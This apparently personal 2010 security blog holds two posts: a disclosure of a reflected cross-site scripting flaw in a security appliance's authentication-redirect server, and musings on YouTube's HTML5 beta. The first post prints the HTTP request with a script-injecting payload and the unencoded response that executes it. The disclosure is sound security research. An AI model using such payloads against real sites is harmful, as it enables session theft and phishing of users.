Friday, March 5, 2010

more xss introduced by security devices

soooo, i found this a while back, and it may be patched or who knows... but i (re?)'rediscovered' it n kinda had to be snarky n vocal about it... such a surprise, i know ;)

it's kinda similar to the xss introduced by an intermediate security device post from a bit back...

i see a little light-weight web server i'm not familiar with, and kinda assume it had to be made in the last i donno... 10 years? so these guys who made it are sitting around a table and they're like:

"hey, let's make (or buy) this simple http server that just does some simple stuff really well and *nothing else*, and use it as a workhorse for these expensive widgets we want to sell!"

and later, someone says:

"man, we need a simple http server to run this security service that authenticates unknown users" and they build it into a security-ish widget...

an unauthenticated user requests a page:

GET /somethin.aspx?foo=bar HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; ...)
Accept: */*
Pragma: no-cache
Host: somehost.domain.tld

...



and the little server that could redirects them to authenticate:

HTTP/1.1 200 OK
Server: ********gw
Content-Type: text/html
...

<HTML><HEAD><TITLE>***********************Authentication Redirect</TITLE><META http-equiv="Cache-control" content="no-cache"><META http-equiv="Pragma" content="no-cache"><META http-equiv="Expires" content="-1"><META http-equiv="refresh" content="1; URL=https://an.auth.svr/login.html?redirect=http://somehost.domain.tld/somethin.aspx?foo=bar"></HEAD></HTML>


of course the server encodes the output reflected in th-...


GET /somethin.aspx?foo=bar"></head><body><script>alert('wot?')</script></body> HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; ...)
Accept: */*
Pragma: no-cache
Host: somehost.domain.tld

...


HTTP/1.1 200 OK
Server: ********gw
Content-Type: text/html
...

<HTML><HEAD><TITLE>***********************Authentication Redirect</TITLE><META http-equiv="Cache-control" content="no-cache"><META http-equiv="Pragma" content="no-cache"><META http-equiv="Expires" content="-1"><META http-equiv="refresh" content="1; URL=https://an.auth.svr/login.html?redirect=http://somehost.domain.tld/sometin.aspx?foo=bar"></head><body><script>alert('wot?')</script></body>"></HEAD></HTML>


you've gotta wonder... how many code releases and updates has the server gone through, since... ummmm.... 2005? You know, have you thought about output encoding in the last *5 years* since an xss worm made headlines w/ mainstream media? how much revenue did this bring you in the last 5 years? annnnnd how much is a simple static or dynamic analysis?

that's not to say that this looks wormy, for a couple of reasons. plus, modern anti-xss filters seem to protect against it.

one interesting bit is that the redirect values are completely arbitrary and seamless in the browser, which mb makes a targeted attack easier because the victim URL can be anything...?


***note: the vuln here is _not_ in msnbc.com***
***another note: ie8 anti-xss filter disabled for this screenshot***

other than that, it doesn't look like anything terribly special really, and someone has prolly already posted somethin about it somewhere, cause you just kinda trip over it if get within 30 feet of the server...

anywho, that's all for now ;)

Wednesday, March 3, 2010

flash is dead... long live... *yawn*

well html5 has been rumbling around and 'maturing' for a while now...

i was recently introduced to the youtube html5 beta via fark iirc (linkfail). anywho, the article quoted some steve jobs flash/ipad/drama foo, and also included some nice quotes about epic flash failure from charlie 'i pwn n00b devs in my sleep' miller XD

sooo, throw a supported user-agent to youtube annnndddd... fail. firefox supports html5, but only some open video format, yada yada yada...

wellll, i wonder if there's anything interesting in the youtube src?

<snip>
<script type="text/javascript">
var yt = yt || {};
yt.preload = yt['preload'] || {};
yt.preload.start = function() {
var img = new Image();
yt.preload.VideoConnectionReference = img;
img.onload = img.onerror = function () {
delete yt.preload.VideoConnectionReference;
};
img.src = 'http://v18.lscache2.c.youtube.com/generate_204?ip=0.0.0.0&sparams=id%2Cexpire%2Cip%2Cipbits%2Citag%2Calgorithm%2Cburst%2Cfactor&fexp=904020%2C902306&algorithm=throttle-factor&itag=34&ipbits=0&burst=40&sver=3&expire=1267621200&key=yt1&signature=7A4D3513CEE589B3E53529C08C6BDEA27DF80C1F.96F3E4606263CB33E9198662204B49FD2E4B98F7&factor=1.25&id=92e467b5ad5ad0bf';
img = null;
};
yt.preload.start();
</script>
</snip>


soooo, i know *nothing* about html5 atm, but that's what jumped out at me...

scripts with interactions on the network layer, some id-foo, expire-foo, and key-foo... sounds like an interesting attack surface at a minimum ;)

i'll confess i downloaded chrome to try out the html5 vid... i'm glad i did for the new spinny loading graphic and this epic quote:

'all the bugs have been worked out of flash'
- @pzembashis


(btw, nice work misrepresenting html5 support in browsers pal :P [jkjk!])

lulz... anywho, security aside, sry steve jobs but my cpu wasn't very happy even w/o fullscreen... and man, to think these people are trying to go against flash w/ chop like that, ick :-\

prolly some interesting stuff to find in the rfc-ish linkage...?